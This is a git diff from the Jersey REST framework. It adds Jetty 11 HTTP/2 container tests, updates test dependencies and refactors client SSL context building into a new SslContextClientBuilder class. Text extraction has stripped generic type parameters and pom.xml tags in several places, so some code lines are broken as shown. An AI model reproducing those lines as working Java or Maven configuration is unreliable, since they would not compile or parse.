+ request.addHeader("X-Forwarded-Host", "_foo.com");
+ CloseableHttpClient client = HttpClientBuilder.create().build();
+
+ CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+ assertEquals(400, response.getStatusLine().getStatusCode());
+ }
+
+ @Test
+ public void test400StatusCode() throws IOException {
+ startServer(ExceptionResource.class);
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("400").build());
+ assertEquals(400, r.request().get(Response.class).getStatus());
+ }
+
+ @Test
+ public void test500StatusCode() {
+ startServer(ExceptionResource.class);
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("500").build());
+
+ assertEquals(500, r.request().get(Response.class).getStatus());
+ }
+}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/LifecycleListenerTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/LifecycleListenerTest.java
new file mode 100644
index 00000000000..517d6e24aed
--- /dev/null
+++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/LifecycleListenerTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener;
+import org.glassfish.jersey.server.spi.Container;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Response;
+
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+
+/**
+ * Reload and ContainerLifecycleListener support test.
+ *
+ * @author Paul Sandoz
+ * @author Marek Potociar
+ */
+public class LifecycleListenerTest extends AbstractJetty11ServerTester {
+
+ @Path("/one")
+ public static class One {
+ @GET
+ public String get() {
+ return "one";
+ }
+ }
+
+ @Path("/two")
+ public static class Two {
+ @GET
+ public String get() {
+ return "two";
+ }
+ }
+
+ public static class Reloader extends AbstractContainerLifecycleListener {
+ Container container;
+
+ public void reload(ResourceConfig newConfig) {
+ container.reload(newConfig);
+ }
+
+ public void reload() {
+ container.reload();
+ }
+
+ @Override
+ public void onStartup(Container container) {
+ this.container = container;
+ }
+
+ }
+
+ @Test
+ public void testReload() {
+ final ResourceConfig rc = new ResourceConfig(One.class);
+
+ Reloader reloader = new Reloader();
+ rc.registerInstances(reloader);
+
+ startServer(rc);
+
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("/").build());
+
+ assertEquals("one", r.path("one").request().get(String.class));
+ assertEquals(404, r.path("two").request().get(Response.class).getStatus());
+
+ // add Two resource
+ reloader.reload(new ResourceConfig(One.class, Two.class));
+
+ assertEquals("one", r.path("one").request().get(String.class));
+ assertEquals("two", r.path("two").request().get(String.class));
+ }
+
+ static class StartStopListener extends AbstractContainerLifecycleListener {
+ volatile boolean started;
+ volatile boolean stopped;
+
+ @Override
+ public void onStartup(Container container) {
+ started = true;
+ }
+
+ @Override
+ public void onShutdown(Container container) {
+ stopped = true;
+ }
+ }
+
+ @Test
+ public void testStartupShutdownHooks() {
+ final StartStopListener listener = new StartStopListener();
+
+ startServer(new ResourceConfig(One.class).register(listener));
+
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("/").build());
+
+ assertThat(r.path("one").request().get(String.class), equalTo("one"));
+ assertThat(r.path("two").request().get(Response.class).getStatus(), equalTo(404));
+
+ stopServer();
+
+ assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called.");
+ assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called.");
+ }
+}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/OptionsTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/OptionsTest.java
new file mode 100644
index 00000000000..d5b7cc59487
--- /dev/null
+++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/OptionsTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Response;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class OptionsTest extends AbstractJetty11ServerTester {
+
+ @Path("helloworld")
+ public static class HelloWorldResource {
+ public static final String CLICHED_MESSAGE = "Hello World!";
+
+ @GET
+ @Produces("text/plain")
+ public String getHello() {
+ return CLICHED_MESSAGE;
+ }
+ }
+
+ @Test
+ public void testFooBarOptions() {
+ startServer(HelloWorldResource.class);
+ Client client = ClientBuilder.newClient();
+ Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options();
+ assertEquals(200, response.getStatus());
+ final String allowHeader = response.getHeaderString("Allow");
+ _checkAllowContent(allowHeader);
+ assertEquals(0, response.getLength());
+ assertEquals("foo/bar", response.getMediaType().toString());
+ }
+
+ private void _checkAllowContent(final String content) {
+ assertTrue(content.contains("GET"));
+ assertTrue(content.contains("HEAD"));
+ assertTrue(content.contains("OPTIONS"));
+ }
+
+}
diff --git a/containers/netty-http/pom.xml b/containers/netty-http/pom.xml
index ff8d536f12a..7f0329e876f 100644
--- a/containers/netty-http/pom.xml
+++ b/containers/netty-http/pom.xml
@@ -1,7 +1,7 @@
- com.sun.activation
- jakarta.activation
- ${jakarta.activation.version}
+ org.eclipse.angus
+ angus-activation
test
- junit
- junit
+ org.junit.jupiter
+ junit-jupiter
test
org.hamcrest
- hamcrest-library
+ hamcrest
test
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ChunkedInputReader.java b/core-client/src/main/java/org/glassfish/jersey/client/ChunkedInputReader.java
index 72374ccc16c..74c8cfbef74 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ChunkedInputReader.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ChunkedInputReader.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,6 +24,7 @@
import jakarta.ws.rs.ConstrainedTo;
import jakarta.ws.rs.RuntimeType;
import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.core.Context;
import jakarta.ws.rs.core.MediaType;
import jakarta.ws.rs.core.MultivaluedMap;
import jakarta.ws.rs.ext.MessageBodyReader;
@@ -43,10 +44,15 @@
@ConstrainedTo(RuntimeType.CLIENT)
class ChunkedInputReader implements MessageBodyReader {
+ private final Provider messageBodyWorkers;
+ private final Provider propertiesDelegateProvider;
+
@Inject
- private Provider messageBodyWorkers;
- @Inject
- private Provider propertiesDelegateProvider;
+ public ChunkedInputReader(@Context Provider messageBodyWorkers,
+ @Context Provider propertiesDelegateProvider) {
+ this.messageBodyWorkers = messageBodyWorkers;
+ this.propertiesDelegateProvider = propertiesDelegateProvider;
+ }
@Override
public boolean isReadable(Class> aClass, Type type, Annotation[] annotations, MediaType mediaType) {
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java
index fb9863258cd..b072c1da442 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
* Copyright (c) 2018 Payara Foundation and/or its affiliates.
*
* This program and the accompanying materials are made available under the
@@ -35,6 +35,7 @@
import org.glassfish.jersey.CommonProperties;
import org.glassfish.jersey.ExtendedConfig;
import org.glassfish.jersey.client.internal.LocalizationMessages;
+import org.glassfish.jersey.client.innate.inject.NonInjectionManager;
import org.glassfish.jersey.client.internal.inject.ParameterUpdaterConfigurator;
import org.glassfish.jersey.client.spi.Connector;
import org.glassfish.jersey.client.spi.ConnectorProvider;
@@ -415,7 +416,7 @@ private ClientRuntime initRuntime() {
final State runtimeCfgState = this.copy();
runtimeCfgState.markAsShared();
- InjectionManager injectionManager = Injections.createInjectionManager();
+ final InjectionManager injectionManager = findInjectionManager();
injectionManager.register(new ClientBinder(runtimeCfgState.getProperties()));
final ClientBootstrapBag bootstrapBag = new ClientBootstrapBag();
@@ -476,6 +477,14 @@ private ClientRuntime initRuntime() {
return crt;
}
+ private final InjectionManager findInjectionManager() {
+ try {
+ return Injections.createInjectionManager(RuntimeType.CLIENT);
+ } catch (IllegalStateException ise) {
+ return new NonInjectionManager(true);
+ }
+ }
+
@Override
public boolean equals(final Object o) {
if (this == o) {
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java
index 411100bb7fd..aa0676bdcb5 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,6 +24,9 @@
import org.glassfish.jersey.internal.util.PropertiesHelper;
import org.glassfish.jersey.internal.util.PropertyAlias;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+
/**
* Jersey client implementation configuration properties.
*
@@ -444,7 +447,7 @@ public final class ClientProperties {
EXPECT_100_CONTINUE_THRESHOLD_SIZE = "jersey.config.client.request.expect.100.continue.threshold.size";
/**
- * Default threshold size (64kb) after which which Expect:100-Continue header would be applied before
+ * Default threshold size (64kb) after which Expect:100-Continue header would be applied before
* the main request.
*
* @since 2.32
@@ -463,6 +466,50 @@ public final class ClientProperties {
*/
public static final String QUERY_PARAM_STYLE = "jersey.config.client.uri.query.param.style";
+ /**
+ *
+ * Most connectors support HOST header value to be used as an SNIHostName. However, the HOST header is restricted in JDK.
+ * {@code HttpUrlConnector} and {@code JavaNetHttpConnector} need
+ * to have an extra System Property set to allow HOST header.
+ * As an option to HOST header, this property allows the HOST name to be pre-set on a Client and does not need to
+ * be set on each request.
+ *
+ *
+ * The value MUST be an instance of {@link java.lang.String}.
+ *
+ *
+ * The name of the configuration property is {@value} .
+ *
+ * @since 3.1.2
+ */
+ public static final String SNI_HOST_NAME = "jersey.config.client.sniHostName";
+
+ /**
+ * Sets the {@link org.glassfish.jersey.client.spi.ConnectorProvider} class. Overrides the value from META-INF/services.
+ *
+ *
+ * The value MUST be an instance of {@code String}.
+ *
+ *
+ * The property is recognized by {@link ClientBuilder}.
+ *
+ *
+ * The name of the configuration property is {@value} .
+ *
+ * @since 2.40
+ */
+ public static final String CONNECTOR_PROVIDER = "jersey.config.client.connector.provider";
+
+ /**
+ * The {@link javax.net.ssl.SSLContext} {@link java.util.function.Supplier} to be used to set ssl context in the current
+ * HTTP request. Has precedence over the {@link Client#getSslContext()}.
+ *
+ * Currently supported by the default {@code HttpUrlConnector} and by {@code NettyConnector} only.
+ * @since 2.41
+ * @see org.glassfish.jersey.client.SslContextClientBuilder
+ */
+ public static final String SSL_CONTEXT_SUPPLIER = "jersey.config.client.ssl.context.supplier";
+
private ClientProperties() {
// prevents instantiation
}
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java
index 45cb9948449..9b0e9c1e483 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,7 +33,6 @@
import jakarta.ws.rs.core.Configuration;
import jakarta.ws.rs.core.Cookie;
import jakarta.ws.rs.core.GenericType;
-import jakarta.ws.rs.core.HttpHeaders;
import jakarta.ws.rs.core.MediaType;
import jakarta.ws.rs.core.MultivaluedMap;
import jakarta.ws.rs.core.Response;
@@ -42,6 +41,7 @@
import jakarta.ws.rs.ext.WriterInterceptor;
import org.glassfish.jersey.client.internal.LocalizationMessages;
+import org.glassfish.jersey.http.HttpHeaders;
import org.glassfish.jersey.internal.MapPropertiesDelegate;
import org.glassfish.jersey.internal.PropertiesDelegate;
import org.glassfish.jersey.internal.guava.Preconditions;
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientRuntime.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientRuntime.java
index d52fe3e05db..26ad221b412 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientRuntime.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientRuntime.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -81,6 +81,7 @@ class ClientRuntime implements JerseyClient.ShutdownHook, ClientExecutor {
private final InvocationInterceptorStages.PreInvocationInterceptorStage preInvocationInterceptorStage;
private final InvocationInterceptorStages.PostInvocationInterceptorStage postInvocationInterceptorStage;
+ private final InvocationBuilderListenerStage invocationBuilderListenerStage;
/**
* Create new client request processing runtime.
@@ -94,6 +95,8 @@ public ClientRuntime(final ClientConfig config, final Connector connector, final
Provider[> clientRequest =
() -> injectionManager.getInstance(new GenericType][>() {}.getType());
+ invocationBuilderListenerStage = new InvocationBuilderListenerStage(injectionManager);
+
RequestProcessingInitializationStage requestProcessingInitializationStage =
new RequestProcessingInitializationStage(clientRequest, bootstrapBag.getMessageBodyWorkers(), injectionManager);
@@ -399,4 +402,8 @@ public Connector getConnector() {
InjectionManager getInjectionManager() {
return injectionManager;
}
+
+ InvocationBuilderListenerStage getInvocationBuilderListenerStage() {
+ return invocationBuilderListenerStage;
+ }
}
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/HttpUrlConnectorProvider.java b/core-client/src/main/java/org/glassfish/jersey/client/HttpUrlConnectorProvider.java
index 5a07bc120a6..e0446d2f0b2 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/HttpUrlConnectorProvider.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/HttpUrlConnectorProvider.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,6 +18,7 @@
import java.io.IOException;
import java.net.HttpURLConnection;
+import java.net.Proxy;
import java.net.URL;
import java.util.Map;
import java.util.logging.Logger;
@@ -267,6 +268,25 @@ public interface ConnectionFactory {
* @throws java.io.IOException in case the connection cannot be provided.
*/
public HttpURLConnection getConnection(URL url) throws IOException;
+
+ /**
+ * Get a {@link java.net.HttpURLConnection} for a given URL.
+ * ]
+ * Implementation of the method MUST be thread-safe and MUST ensure that
+ * a dedicated {@link java.net.HttpURLConnection} instance is returned for concurrent
+ * requests.
+ *
+ *
+ * @param url the endpoint URL.
+ * @param proxy the configured proxy or null.
+ * @return the {@link java.net.HttpURLConnection}.
+ * @throws java.io.IOException in case the connection cannot be provided.
+ */
+ default HttpURLConnection getConnection(URL url, Proxy proxy) throws IOException {
+ synchronized (this){
+ return (proxy == null) ? getConnection(url) : (HttpURLConnection) url.openConnection(proxy);
+ }
+ }
}
private static class DefaultConnectionFactory implements ConnectionFactory {
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/JerseyClient.java b/core-client/src/main/java/org/glassfish/jersey/client/JerseyClient.java
index 755fb5ac589..3a393751775 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/JerseyClient.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/JerseyClient.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2011, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,13 +20,13 @@
import java.lang.ref.ReferenceQueue;
import java.lang.ref.WeakReference;
import java.net.URI;
-import java.util.Iterator;
import java.util.Map;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.LinkedBlockingDeque;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.function.Supplier;
import java.util.logging.Level;
import java.util.logging.Logger;
@@ -40,9 +40,7 @@
import org.glassfish.jersey.SslConfigurator;
import org.glassfish.jersey.client.internal.LocalizationMessages;
import org.glassfish.jersey.client.spi.DefaultSslContextProvider;
-import org.glassfish.jersey.internal.ServiceFinder;
import org.glassfish.jersey.internal.util.collection.UnsafeValue;
-import org.glassfish.jersey.internal.util.collection.Values;
import static org.glassfish.jersey.internal.guava.Preconditions.checkNotNull;
import static org.glassfish.jersey.internal.guava.Preconditions.checkState;
@@ -67,7 +65,7 @@ public SSLContext getDefaultSslContext() {
private final boolean isDefaultSslContext;
private final ClientConfig config;
private final HostnameVerifier hostnameVerifier;
- private final UnsafeValue sslContext;
+ private final Supplier sslContext;
private final LinkedBlockingDeque> shutdownHooks =
new LinkedBlockingDeque>();
private final ReferenceQueue shReferenceQueue = new ReferenceQueue();
@@ -86,7 +84,7 @@ interface ShutdownHook {
* Create a new Jersey client instance using a default configuration.
*/
protected JerseyClient() {
- this(null, (UnsafeValue) null, null, null);
+ this(null, new SslContextClientBuilder(), null, null);
}
/**
@@ -115,7 +113,9 @@ protected JerseyClient(final Configuration config,
final SSLContext sslContext,
final HostnameVerifier verifier,
final DefaultSslContextProvider defaultSslContextProvider) {
- this(config, sslContext == null ? null : Values.unsafe(sslContext), verifier,
+ this(config,
+ sslContext == null ? new SslContextClientBuilder() : new SslContextClientBuilder().sslContext(sslContext),
+ verifier,
defaultSslContextProvider);
}
@@ -145,32 +145,32 @@ protected JerseyClient(final Configuration config,
final UnsafeValue sslContextProvider,
final HostnameVerifier verifier,
final DefaultSslContextProvider defaultSslContextProvider) {
- this.config = config == null ? new ClientConfig(this) : new ClientConfig(this, config);
-
- if (sslContextProvider == null) {
- this.isDefaultSslContext = true;
-
- if (defaultSslContextProvider != null) {
- this.sslContext = createLazySslContext(defaultSslContextProvider);
- } else {
- final DefaultSslContextProvider lookedUpSslContextProvider;
-
- final Iterator iterator =
- ServiceFinder.find(DefaultSslContextProvider.class).iterator();
-
- if (iterator.hasNext()) {
- lookedUpSslContextProvider = iterator.next();
- } else {
- lookedUpSslContextProvider = DEFAULT_SSL_CONTEXT_PROVIDER;
- }
+ this(config,
+ sslContextProvider == null
+ ? new SslContextClientBuilder()
+ : new SslContextClientBuilder().sslContext(sslContextProvider.get()),
+ verifier,
+ defaultSslContextProvider
+ );
+ }
- this.sslContext = createLazySslContext(lookedUpSslContextProvider);
- }
- } else {
- this.isDefaultSslContext = false;
- this.sslContext = Values.lazy(sslContextProvider);
+ /**
+ * Create a new Jersey client instance.
+ *
+ * @param config jersey client configuration.
+ * @param sslContextClientBuilder jersey client SSL context builder. The builder is expected to
+ * return non-default value.
+ * @param verifier jersey client host name verifier.
+ * @param defaultSslContextProvider default SSL context provider.
+ */
+ JerseyClient(final Configuration config, final SslContextClientBuilder sslContextClientBuilder,
+ final HostnameVerifier verifier, final DefaultSslContextProvider defaultSslContextProvider) {
+ if (defaultSslContextProvider != null) {
+ sslContextClientBuilder.defaultSslContextProvider(defaultSslContextProvider);
}
-
+ this.config = config == null ? new ClientConfig(this) : new ClientConfig(this, config);
+ this.isDefaultSslContext = sslContextClientBuilder.isDefaultSslContext();
+ this.sslContext = sslContextClientBuilder;
this.hostnameVerifier = verifier;
}
@@ -195,15 +195,6 @@ private void release() {
}
}
- private UnsafeValue createLazySslContext(final DefaultSslContextProvider provider) {
- return Values.lazy(new UnsafeValue() {
- @Override
- public SSLContext get() {
- return provider.getDefaultSslContext();
- }
- });
- }
-
/**
* Register a new client shutdown hook.
*
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/JerseyClientBuilder.java b/core-client/src/main/java/org/glassfish/jersey/client/JerseyClientBuilder.java
index 69b626582b3..41dbde9950d 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/JerseyClientBuilder.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/JerseyClientBuilder.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,7 @@
package org.glassfish.jersey.client;
+import java.security.AccessController;
import java.security.KeyStore;
import java.util.Collections;
import java.util.LinkedList;
@@ -31,12 +32,12 @@
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.SSLContext;
-import org.glassfish.jersey.SslConfigurator;
-import org.glassfish.jersey.client.internal.LocalizationMessages;
+import org.glassfish.jersey.client.innate.inject.NonInjectionManager;
import org.glassfish.jersey.client.spi.ClientBuilderListener;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
import org.glassfish.jersey.internal.ServiceFinder;
-import org.glassfish.jersey.internal.util.collection.UnsafeValue;
-import org.glassfish.jersey.internal.util.collection.Values;
+import org.glassfish.jersey.internal.config.ExternalPropertiesConfigurationFactory;
+import org.glassfish.jersey.internal.util.ReflectionHelper;
import org.glassfish.jersey.model.internal.RankedComparator;
import org.glassfish.jersey.model.internal.RankedProvider;
@@ -49,8 +50,7 @@ public class JerseyClientBuilder extends ClientBuilder {
private final ClientConfig config;
private HostnameVerifier hostnameVerifier;
- private SslConfigurator sslConfigurator;
- private SSLContext sslContext;
+ private final SslContextClientBuilder sslContextClientBuilder = new SslContextClientBuilder();
private static final List CLIENT_BUILDER_LISTENERS;
@@ -108,41 +108,19 @@ private static void init(ClientBuilder builder) {
@Override
public JerseyClientBuilder sslContext(SSLContext sslContext) {
- if (sslContext == null) {
- throw new NullPointerException(LocalizationMessages.NULL_SSL_CONTEXT());
- }
- this.sslContext = sslContext;
- sslConfigurator = null;
+ sslContextClientBuilder.sslContext(sslContext);
return this;
}
@Override
public JerseyClientBuilder keyStore(KeyStore keyStore, char[] password) {
- if (keyStore == null) {
- throw new NullPointerException(LocalizationMessages.NULL_KEYSTORE());
- }
- if (password == null) {
- throw new NullPointerException(LocalizationMessages.NULL_KEYSTORE_PASWORD());
- }
- if (sslConfigurator == null) {
- sslConfigurator = SslConfigurator.newInstance();
- }
- sslConfigurator.keyStore(keyStore);
- sslConfigurator.keyPassword(password);
- sslContext = null;
+ sslContextClientBuilder.keyStore(keyStore, password);
return this;
}
@Override
public JerseyClientBuilder trustStore(KeyStore trustStore) {
- if (trustStore == null) {
- throw new NullPointerException(LocalizationMessages.NULL_TRUSTSTORE());
- }
- if (sslConfigurator == null) {
- sslConfigurator = SslConfigurator.newInstance();
- }
- sslConfigurator.trustStore(trustStore);
- sslContext = null;
+ sslContextClientBuilder.trustStore(trustStore);
return this;
}
@@ -186,21 +164,23 @@ public ClientBuilder readTimeout(long timeout, TimeUnit unit) {
@Override
public JerseyClient build() {
- if (sslContext != null) {
- return new JerseyClient(config, sslContext, hostnameVerifier, null);
- } else if (sslConfigurator != null) {
- final SslConfigurator sslConfiguratorCopy = sslConfigurator.copy();
- return new JerseyClient(
- config,
- Values.lazy(new UnsafeValue() {
- @Override
- public SSLContext get() {
- return sslConfiguratorCopy.createSSLContext();
- }
- }),
- hostnameVerifier);
- } else {
- return new JerseyClient(config, (UnsafeValue) null, hostnameVerifier);
+ ExternalPropertiesConfigurationFactory.configure(this.config);
+ setConnectorFromProperties();
+
+ return new JerseyClient(config, sslContextClientBuilder, hostnameVerifier, null);
+ }
+
+ private void setConnectorFromProperties() {
+ final Object connectorClass = config.getProperty(ClientProperties.CONNECTOR_PROVIDER);
+ if (connectorClass != null) {
+ if (String.class.isInstance(connectorClass)) {
+ Class extends ConnectorProvider> clazz
+ = AccessController.doPrivileged(ReflectionHelper.classForNamePA((String) connectorClass));
+ final ConnectorProvider connectorProvider = new NonInjectionManager().justCreate(clazz);
+ config.connectorProvider(connectorProvider);
+ } else {
+ throw new IllegalArgumentException();
+ }
}
}
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/JerseyWebTarget.java b/core-client/src/main/java/org/glassfish/jersey/client/JerseyWebTarget.java
index 0b1e48b7789..2f1100fe4ac 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/JerseyWebTarget.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/JerseyWebTarget.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -368,7 +368,7 @@ public String toString() {
}
private static JerseyInvocation.Builder onBuilder(JerseyInvocation.Builder builder) {
- new InvocationBuilderListenerStage(builder.request().getInjectionManager()).invokeListener(builder);
+ builder.request().getClientRuntime().getInvocationBuilderListenerStage().invokeListener(builder);
return builder;
}
}
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/SslContextClientBuilder.java b/core-client/src/main/java/org/glassfish/jersey/client/SslContextClientBuilder.java
new file mode 100644
index 00000000000..cea0439cd3a
--- /dev/null
+++ b/core-client/src/main/java/org/glassfish/jersey/client/SslContextClientBuilder.java
@@ -0,0 +1,258 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.client;
+
+import org.glassfish.jersey.SslConfigurator;
+import org.glassfish.jersey.client.internal.LocalizationMessages;
+import org.glassfish.jersey.client.spi.DefaultSslContextProvider;
+import org.glassfish.jersey.internal.ServiceFinder;
+import org.glassfish.jersey.internal.util.collection.Value;
+import org.glassfish.jersey.internal.util.collection.Values;
+
+import javax.net.ssl.SSLContext;
+import jakarta.ws.rs.client.WebTarget;
+import java.security.KeyStore;
+import java.util.Iterator;
+import java.util.function.Supplier;
+
+/**
+ * The class that builds {@link SSLContext} for the client from keystore, truststore. Provides a cached
+ * {@link Supplier} from the built or user provided {@link SSLContext}.
+ *
+ * The class is used internally by {@link JerseyClientBuilder}, or it can be used by connectors supporting setting
+ * the {@link SSLContext} per request.
+ *
+ * @see jakarta.ws.rs.client.ClientBuilder#keyStore(KeyStore, char[])
+ * @see jakarta.ws.rs.client.ClientBuilder#keyStore(KeyStore, String)
+ * @see jakarta.ws.rs.client.ClientBuilder#sslContext(SSLContext)
+ */
+public final class SslContextClientBuilder implements Supplier {
+ private SslConfigurator sslConfigurator = null;
+ private SSLContext sslContext = null;
+ private DefaultSslContextProvider defaultSslContextProvider = null;
+ private final Supplier suppliedValue = Values.lazy((Value) () -> supply());
+
